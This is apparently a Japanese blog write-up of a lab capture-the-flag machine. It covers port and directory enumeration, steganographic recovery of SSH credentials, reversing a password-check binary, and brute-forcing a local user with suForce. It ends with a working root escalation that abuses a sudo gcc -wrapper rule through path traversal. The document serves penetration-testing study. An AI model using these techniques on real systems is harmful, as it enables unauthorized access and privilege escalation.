banner
言心吾

言心吾のBlog

吾言为心声

靶場復盤のMj大佬自作の靶機

情報収集#

nmap スキャン結果は以下の通りです:

┌──(root㉿kali)-[~/challenge/0213]
└─# cat nmapscan/detail    
# Nmap 7.95 scan initiated Thu Feb 13 10:38:44 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.104
Nmap scan report for 192.168.56.104
Host is up (0.00072s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)
|   256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)
|_  256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 13 10:38:51 2025 -- 1 IP address (1 host up) scanned in 6.88 seconds

スキャン結果によると、ターゲットホストは 22 番と 80 番ポートのみを開放しており、それぞれ SSH と HTTP サービスです。HTTP サービスは Nginx 1.14.2 バージョンを使用しており、ウェブページは Apache2 のデフォルトウェルカムページとして表示されています。

web 踩点#

ディレクトリのブルートフォースを試みましたが、何も得られませんでした。

image

ホームページは典型的な Apache2 Ubuntu のデフォルトページです。さらなる探索のために、まずwgetを使用してホームページをダウンロードし、そのサイズを確認します。

imageそのページのサイズは確かに通常の Apache2 ページとは異なっていました。次に、そのソースコードを確認し、非常に重要な 2 つのコメントを発見しました:

  • <!-- 117db0148dc179a2c2245c5a30e63ab0 --> -> md5 解読を試みましたが失敗
  • <!-- Some people always don't understand the format of photos. --> -> 上記のコメントと合わせて、隠し画像ファイルが存在する可能性を推測

gobusterを使用してディレクトリのブルートフォースを行います。

┌──(root㉿kali)-[~/challenge/0213]
└─# gobuster dir -w hint -u `IP` -x .jpg,.jpeg,.png,.gif,.bmp,.tiff,.webp --exclude-length 11618
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.104
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                hint
[+] Negative Status codes:   404
[+] Exclude Length:          11618
[+] User Agent:              gobuster/3.6
[+] Extensions:              jpg,jpeg,png,gif,bmp,tiff,webp
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/117db0148dc179a2c2245c5a30e63ab0.jpg (Status: 200) [Size: 190696]
/117db0148dc179a2c2245c5a30e63ab0.png (Status: 200) [Size: 379011]
Progress: 8 / 16 (50.00%)
===============================================================
Finished
===============================================================

ブルートフォースの結果、2 つの画像ファイルが見つかりました:

image

画像隠蔽分析#

jpg:#

┌──(root㉿kali)-[~/challenge/0213]
└─# exiftool 117db0148dc179a2c2245c5a30e63ab0.jpg 
ExifTool Version Number         : 13.10
File Name                       : 117db0148dc179a2c2245c5a30e63ab0.jpg
Directory                       : .
File Size                       : 191 kB
File Modification Date/Time     : 2025:02:13 01:33:04+08:00
File Access Date/Time           : 2025:02:14 21:09:38+08:00
File Inode Change Date/Time     : 2025:02:13 10:55:21+08:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : 219f26695ac66c93de9de70eebeefea4deb071df71b9b7d7ebcc06eca47ff6e4
Image Width                     : 1280
Image Height                    : 960
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1280x960
Megapixels                      : 1.2

┌──(root㉿kali)-[~/challenge/0213]
└─# stegseek 117db0148dc179a2c2245c5a30e63ab0.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Progress: 99.42% (132.7 MB)           
[!] error: Could not find a valid passphrase.

Commentフィールドには一連の文字が得られましたが解読できず、煙幕のようです。その後、stegseekツールを使用して隠蔽分析を行いましたが、有効なパスフレーズは見つかりませんでした。

png:#

zstegを使用して LSB 隠蔽を確認します。

┌──(root㉿kali)-[~/challenge/0213]
└─# zsteg 117db0148dc179a2c2245c5a30e63ab0.png
imagedata           .. text: "\n\n\n\t\t\t\n\n\n"
b1,rgb,lsb,xy       .. text: "morainelake"
b1,bgr,msb,xy       .. file: OpenPGP Public Key
b2,r,lsb,xy         .. text: "UUUUUUUU@"
b2,g,lsb,xy         .. text: "E@UAUUUUUUUUj"
b2,g,msb,xy         .. text: "UUUZs-VUU"
b2,b,lsb,xy         .. text: "EUUUUUUUUV"
b2,b,msb,xy         .. text: "_UUUoUUe"
b3,b,msb,xy         .. file: MPEG ADTS, layer I, v2,  96 kbps, Stereo
b3,rgb,lsb,xy       .. file: PGP Secret Sub-key -
b4,r,lsb,xy         .. text: "DEUTfgww"
b4,r,msb,xy         .. text: "M,\"\"\"\"\"\""
b4,g,lsb,xy         .. text: ["\"" repeated 10 times]
b4,g,msb,xy         .. text: "HDDDDDDDDDDH"
b4,b,lsb,xy         .. text: "3\"##2\"\"#33333333333333334DDDDDDDDDD4C333\"\"\""
b4,b,msb,xy         .. text: ",\"\"\"\"\"\"\"\"\"\","

LSB 隠蔽が存在し、ここでのmorainelakeは潜在的なパスワードである可能性が高いです。

パスワードmorainelakeを使用して、steghideで隠されたファイルを成功裏に抽出します:

┌──(root㉿kali)-[~/challenge/0213]
└─# steghide extract -sf 117db0148dc179a2c2245c5a30e63ab0.jpg -p morainelake
the file "secret.zip" does already exist. overwrite ? (y/n) y
wrote extracted data to "secret.zip".

次に、secret.zipファイルを解凍します。同様に上記のパスワードを使用します:

┌──(root㉿kali)-[~/challenge/0213]
└─# unzip secret.zip          
Archive:  secret.zip
   creating: secret/
[secret.zip] secret/secret.txt password: 
 extracting: secret/secret.txt

最終的に一組の SSH 資格情報を得ました:

┌──(root㉿kali)-[~/challenge/0213]
└─# cat secret/secret.txt 
morainelake:660930334

権限昇格 - welcome#

まず /opt/reverse プログラムの逆アセンブル分析を行います。
main 関数の擬似コードは以下の通りです:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[28]; // [rsp+9h] [rbp-E7h] BYREF
  char v5[7]; // [rsp+25h] [rbp-CBh] BYREF
  char v6[16]; // [rsp+2Ch] [rbp-C4h] BYREF
  int v7; // [rsp+3Ch] [rbp-B4h] BYREF
  int v8; // [rsp+40h] [rbp-B0h] BYREF
  int v9; // [rsp+60h] [rbp-90h] BYREF
  int v10[8]; // [rsp+80h] [rbp-70h] BYREF
  char dest[24]; // [rsp+A0h] [rbp-50h] BYREF
  void *ptr; // [rsp+B8h] [rbp-38h]
  int v13; // [rsp+C0h] [rbp-30h]
  char v14; // [rsp+C7h] [rbp-29h]
  char *v15; // [rsp+C8h] [rbp-28h]
  char *v16; // [rsp+D0h] [rbp-20h]
  void *v17; // [rsp+D8h] [rbp-18h]
  void *v18; // [rsp+E0h] [rbp-10h]
  char v19; // [rsp+EBh] [rbp-5h]
  int v20; // [rsp+ECh] [rbp-4h]

  puts("Enter passwords or Enter H coward mode:");
  v20 = 0;
  while ( 1 )
  {
    __isoc99_scanf("%s", &v4[7]);
    if ( strcmp(&v4[7], "H") )
      break;
    if ( ++v20 == 100 )
    {
      puts("Hint: Invert XOR Replace! ");
      goto LABEL_6;
    }
  }
  strcpy(dest, &v4[7]);
  __isoc99_scanf("%s %s %s", v10, &v9, &v8);
LABEL_6:
  v7 = 8203321;
  strcpy(&v6[9], "/, 8:(");
  strcpy(v6, "!!|}yx{z");
  strcpy(v5, "(;$)(#");
  v19 = 77;
  v18 = (void *)xor_decrypt(v6, 77LL);
  v17 = (void *)xor_decrypt(&v6[9], (unsigned int)v19);
  v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);
  v15 = (char *)xor_decrypt(v5, (unsigned int)v19);
  if ( (unsigned int)check_passwords((int)dest, (int)v10, (int)&v9, (int)&v8, (int)v18, (int)v17, v16, v15) )
  {
    strcpy(v4, "pvygob");
    v14 = 106;
    v13 = 10;
    ptr = (void *)caesar_decrypt(v4, 10LL);
    printf("[+] Enter the password successfully! you know: %s\n", (const char *)ptr);
    free(ptr);
  }
  else
  {
    puts("[-] Incorrect password!");
  }
  free(v18);
  free(v17);
  free(v16);
  free(v15);
  return 0;
}

このプログラムのmain関数の主な機能はパスワードの検証です。関数内では、まずユーザーにパスワードを入力するか「H coward mode」モードに入るように促します。ユーザーが「H」を入力すると、プログラムは XOR 操作に関するヒントを表示し、他の操作を続行します。その後、プログラムは複数のxor_decryptおよびcaesar_decrypt解読関数を使用して一連の事前設定された文字列を解読し、最終的にcheck_passwords関数を通じてパスワードが正しいかどうかを検証します。パスワードが正しい場合、プログラムはcaesar_decryptを使用して文字列を解読し、ヒントメッセージを出力します。

プログラムの xor_decrypt および caeser_decrypt 関数の具体的な実装に基づいて、以下の解読スクリプトを作成できます:

def xor_decrypt(data, key):
    return ''.join(chr(ord(c) ^ key) for c in data)

def caesar_decrypt(data, shift):
    decrypted = []
    for char in data:
        if char.isalpha():
            shift_amount = 65 if char.isupper() else 97
            decrypted.append(chr((ord(char) - shift_amount - shift) % 26 + shift_amount))
        else:
            decrypted.append(char)
    return ''.join(decrypted)

# 解読する文字列
v6 = "!!|}yx{z"
v6_part = "/, 8:("
v5 = "(;$)(#"
v4 = "pvygob"
v7 = 8203321

# v7をバイト配列に変換
v7_bytes = v7.to_bytes((v7.bit_length() + 7) // 8, 'little')

# XOR解読を使用
key = 77
decrypted_v6 = xor_decrypt(v6, key)
decrypted_v6_part = xor_decrypt(v6_part, key)
decrypted_v5 = xor_decrypt(v5, key)
decrypted_v7 = xor_decrypt(v7_bytes.decode(), key)

# シーザー解読を使用
shift = 10
decrypted_v4 = caesar_decrypt(v4, shift)

print("Decrypted v6:", decrypted_v6)
print("Decrypted v6_part:", decrypted_v6_part)
print("Decrypted v5:", decrypted_v5)
print("Decrypted v7:", decrypted_v7)
print("Decrypted v4:", decrypted_v4)

image

check_passwords関数の入力要件に基づいて、正しいパスワードの構成要素は次の通りです:

ユーザー入力  vs  期待される解読値
--------------------------------
dest       ==  v18
v10        ==  v17
v9         ==  v16
v8         ==  v15

順番に入力します。
image

プログラムを成功裏に解読しましたが、私たちの目的は welcome ユーザーを取得することです。

以下のコードを使用して、上記の 4 つの入力の全順列辞書を生成します:

import itertools

# 4つの文字列を定義
strings = ["ll104567", "bamuwe", "eviden", "ta0"]

# 全順列を生成
permutations = list(itertools.permutations(strings))

# 全順列の結果を印刷
for perm in permutations:
    print(''.join(perm))

次に、suForce にアップロードしてブルートフォースを行います。

morainelake@listen:/tmp$ ./suForce -u welcome -w dict 
            _____                          
 ___ _   _ |  ___|__  _ __ ___ ___   
/ __| | | || |_ / _ \| '__/ __/ _ \ 
\__ \ |_| ||  _| (_) | | | (_|  __/  
|___/\__,_||_|  \___/|_|  \___\___|  
───────────────────────────────────
 code: d4t4s3c     version: v1.0.0
───────────────────────────────────
🎯 Username | welcome
📖 Wordlist | dict
🔎 Status   | 2/24/8%/ll104567bamuweta0eviden
💥 Password | ll104567bamuweta0eviden
───────────────────────────────────

ブルートフォースに成功し、welcome ユーザーの権限を取得しました。

権限昇格 - root#

root 部分は比較的簡単で、ほぼ既成の sudo 権限昇格です。

morainelake@listen:/tmp$ su - welcome
Password: 
$ bash
welcome@listen:~$ sudo -l
Matching Defaults entries for welcome on listen:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on listen:
    (ALL : ALL) NOPASSWD: /usr/bin/gcc -wrapper /opt/*

gtfo を参照して権限昇格方法を確認します。
image

welcome@listen:~$ sudo gcc -wrapper /opt/../../../../bin/bash,-s .
root@listen:/home/welcome# id
uid=0(root) gid=0(root) groups=0(root)

../を使用してディレクトリ制限を回避し、成功裏に root 権限を取得しました。

小結#

ターゲットマシンの入口ポイントにはかなり時間がかかりましたが、すぐに 2 つの隠し画像を見つけました。しかし、stegseek でパスワードが見つからなかったため、steghide の隠蔽に関しては考えませんでした。。

全体として、このターゲットマシンは非常に興味深く、LingMj さんの苦労に感謝します!

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。